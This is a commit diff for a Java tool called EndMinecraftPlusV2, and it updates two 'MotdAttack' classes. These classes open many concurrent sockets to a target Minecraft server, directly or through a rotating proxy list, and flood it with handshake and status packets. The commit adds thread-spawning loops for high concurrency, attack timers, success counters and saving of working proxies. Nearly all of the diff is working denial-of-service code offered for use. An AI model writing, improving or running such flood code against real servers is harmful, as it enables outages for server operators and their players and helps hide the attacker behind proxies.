MotdAttack高并发优化 支持显示有效包数

This commit is contained in:
SerendipityR 2022-08-28 18:16:45 +08:00 committed by GitHub
parent 091df1700d
commit 89924f936a
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
3 changed files with 114 additions and 68 deletions

View File

@ -8,7 +8,7 @@ import cn.serendipityr.EndMinecraftPlusV2.VersionControl.AttackManager;
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.ProtocolLibs; import cn.serendipityr.EndMinecraftPlusV2.VersionControl.ProtocolLibs;
public class EndMinecraftPlusV2 { public class EndMinecraftPlusV2 {
public static String ver = "1.2.9"; public static String ver = "1.3.0";
public static Integer CfgVer = 3; public static Integer CfgVer = 3;
public static void main(String[] args) { public static void main(String[] args) {

View File

@ -5,7 +5,9 @@ import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils; import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle; import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle;
import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream; import java.io.OutputStream;
import java.net.InetSocketAddress; import java.net.InetSocketAddress;
import java.net.Socket; import java.net.Socket;
@ -14,57 +16,78 @@ import java.util.List;
public class MotdAttack extends IAttack { public class MotdAttack extends IAttack {
public List<Thread> threads = new ArrayList<>(); public List<Thread> threads = new ArrayList<>();
public long starttime;
private int runTimes = 0; private int runTimes = 0;
private int successTimes = 0;
private int errorTimes = 0; private int errorTimes = 0;
public MotdAttack(String ip, int port, int time, int maxconnect, long joinsleep) { public MotdAttack(String ip, int port, int time, int maxconnect, long joinsleep) {
super(ip, port, time, maxconnect, joinsleep); super(ip, port, time, maxconnect, joinsleep);
} }
public void start() { public void start() {
Runnable task = () -> { starttime = System.currentTimeMillis();
while (true) {
if (this.attack_maxconnect < 1) {
this.attack_maxconnect = 10;
}
while (true) {
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 当前连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 有效包数: " + successTimes + "次 | 错误次数: " + errorTimes);
if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) {
stop();
return;
}
if (this.attack_maxconnect > 0 && (threads.size() > this.attack_maxconnect)) {
continue;
}
runTimes++;
Thread task = new Thread(() -> {
try { try {
Socket socket = new Socket(); Socket socket = new Socket();
socket.connect(new InetSocketAddress(ip, port)); socket.connect(new InetSocketAddress(ip, port));
if (socket.isConnected()) {
LogUtil.doLog(0, "正在发送Motd更新数据包...", "MotdAttack#" + Thread.currentThread().getName()); while (socket.isConnected() && !socket.isClosed()) {
OutputStream out = socket.getOutputStream(); OutputStream out = socket.getOutputStream();
InputStream in = socket.getInputStream();
out.write(new byte[] { 0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01 }); out.write(new byte[] { 0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01 });
out.flush(); out.flush();
while (socket.isConnected()) { out.write(new byte[] { 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01,
for (int i = 0; i < 10; i++) { 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00 });
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 总连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 错误次数: " + errorTimes); out.flush();
out.write(new byte[] { 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01,
0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00 }); byte[] buffer = new byte[12800];
runTimes++; if (in.read(buffer) != -1) {
} LogUtil.doLog(0, "成功发送了Motd更新数据包。", "MotdAttack#" + Thread.currentThread().getName());
out.flush(); successTimes++;
} }
try {
out.close(); socket.close();
socket.close();
} catch (IOException ignored) {}
LogUtil.doLog(0, "连接已断开。", "MotdAttack#" + Thread.currentThread().getName());
OtherUtils.doSleep(attack_joinsleep);
} }
OtherUtils.doSleep(attack_joinsleep);
} catch (Throwable e) { } catch (Throwable e) {
if (ConfigUtil.ShowFails) { if (ConfigUtil.ShowFails) {
LogUtil.doLog(0, "发生错误: " + e, "MotdAttack#" + Thread.currentThread().getName()); LogUtil.doLog(0, "发生错误: " + e, "MotdAttack#" + Thread.currentThread().getName());
} }
errorTimes++; errorTimes++;
} }
} });
};
if (this.attack_maxconnect < 1) { threads.add(task);
this.attack_maxconnect = 10; task.setName(String.valueOf(runTimes));
} task.start();
for (int i = 0; i < this.attack_maxconnect; i++) { new Thread(() -> {
Thread thread = new Thread(task); OtherUtils.doSleep(ConfigUtil.ConnectTimeout);
thread.setName(String.valueOf(i + 1)); if (task.isAlive()) {
thread.start(); task.stop();
threads.add(thread); }
threads.remove(task);
}).start();
} }
} }

View File

@ -1,8 +1,10 @@
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils; package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils;
import cn.serendipityr.EndMinecraftPlusV2.Tools.*; import cn.serendipityr.EndMinecraftPlusV2.Tools.*;
import org.spacehq.packetlib.Client;
import java.io.IOException; import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream; import java.io.OutputStream;
import java.net.InetSocketAddress; import java.net.InetSocketAddress;
import java.net.Proxy; import java.net.Proxy;
@ -12,7 +14,9 @@ import java.util.List;
public class MotdAttackP extends IAttack { public class MotdAttackP extends IAttack {
public List<Thread> threads = new ArrayList<>(); public List<Thread> threads = new ArrayList<>();
public long starttime;
private int runTimes = 0; private int runTimes = 0;
private int successTimes = 0;
private int errorTimes = 0; private int errorTimes = 0;
public MotdAttackP(String ip, int port, int time, int maxconnect, long joinsleep) { public MotdAttackP(String ip, int port, int time, int maxconnect, long joinsleep) {
@ -20,6 +24,8 @@ public class MotdAttackP extends IAttack {
} }
public void start() { public void start() {
starttime = System.currentTimeMillis();
Proxy.Type proxyType; Proxy.Type proxyType;
switch (ConfigUtil.ProxyType) { switch (ConfigUtil.ProxyType) {
case 3: case 3:
@ -32,17 +38,35 @@ public class MotdAttackP extends IAttack {
break; break;
} }
for (String p: ProxyUtil.proxies) { while (true) {
try { for (String p: ProxyUtil.proxies) {
String[] _p = p.split(":"); if (this.attack_maxconnect > 0 && (threads.size() > this.attack_maxconnect)) {
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1]))); continue;
Thread thread = createThread(proxy, ip, port); }
thread.start();
threads.add(thread); if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) {
if (this.attack_maxconnect > 0 && (threads.size() > this.attack_maxconnect)) stop();
return; return;
} catch (Exception e) { }
LogUtil.doLog(1,"发生错误: " + e, null);
try {
String[] _p = p.split(":");
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
Thread thread = createThread(proxy, ip, port);
thread.start();
thread.setName(String.valueOf(runTimes));
threads.add(thread);
new Thread(() -> {
OtherUtils.doSleep(ConfigUtil.ConnectTimeout);
if (thread.isAlive()) {
thread.stop();
}
threads.remove(thread);
}).start();
} catch (Exception e) {
LogUtil.doLog(1,"发生错误: " + e, null);
}
} }
} }
} }
@ -53,41 +77,40 @@ public class MotdAttackP extends IAttack {
} }
public Thread createThread(Proxy proxy, String ip, int port) { public Thread createThread(Proxy proxy, String ip, int port) {
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 当前连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 有效包数: " + successTimes + "次 | 错误次数: " + errorTimes);
runTimes++;
Runnable task = () -> { Runnable task = () -> {
while (true) { try {
try { Socket socket = new Socket(proxy);
Socket socket = new Socket(proxy); socket.connect(new InetSocketAddress(ip, port));
socket.connect(new InetSocketAddress(ip, port));
if (socket.isConnected()) {
LogUtil.doLog(0, "正在发送Motd刷新数据包...", "MotdAttackP#" + Thread.currentThread().getName());
OutputStream out = socket.getOutputStream();
out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01});
out.flush();
while (socket.isConnected()) {
for (int i = 0; i < 10; i++) {
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 总连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 错误次数: " + errorTimes);
out.write(new byte[]{0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01,
0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00});
runTimes++;
}
out.flush();
}
try {
out.close();
socket.close();
} catch (IOException ignored) {
}
LogUtil.doLog(0, "连接已断开。", "MotdAttackP#" + Thread.currentThread().getName()); while (socket.isConnected() && !socket.isClosed()) {
OutputStream out = socket.getOutputStream();
InputStream in = socket.getInputStream();
out.write(new byte[] { 0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01 });
out.flush();
out.write(new byte[] { 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01,
0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00 });
out.flush();
byte[] buffer = new byte[12800];
if (in.read(buffer) != -1) {
LogUtil.doLog(0, "成功发送了Motd更新数据包。", "MotdAttack#" + Thread.currentThread().getName());
successTimes++;
if (ConfigUtil.SaveWorkingProxy) {
ProxyUtil.saveWorkingProxy(proxy);
}
} }
} catch (Throwable e) {
if (ConfigUtil.ShowFails) { socket.close();
LogUtil.doLog(0, "发生错误: " + e, "MotdAttackP#" + Thread.currentThread().getName());
}
errorTimes++;
} }
OtherUtils.doSleep(attack_joinsleep); OtherUtils.doSleep(attack_joinsleep);
} catch (Throwable e) {
if (ConfigUtil.ShowFails) {
LogUtil.doLog(0, "发生错误: " + e, "MotdAttackP#" + Thread.currentThread().getName());
}
errorTimes++;
} }
}; };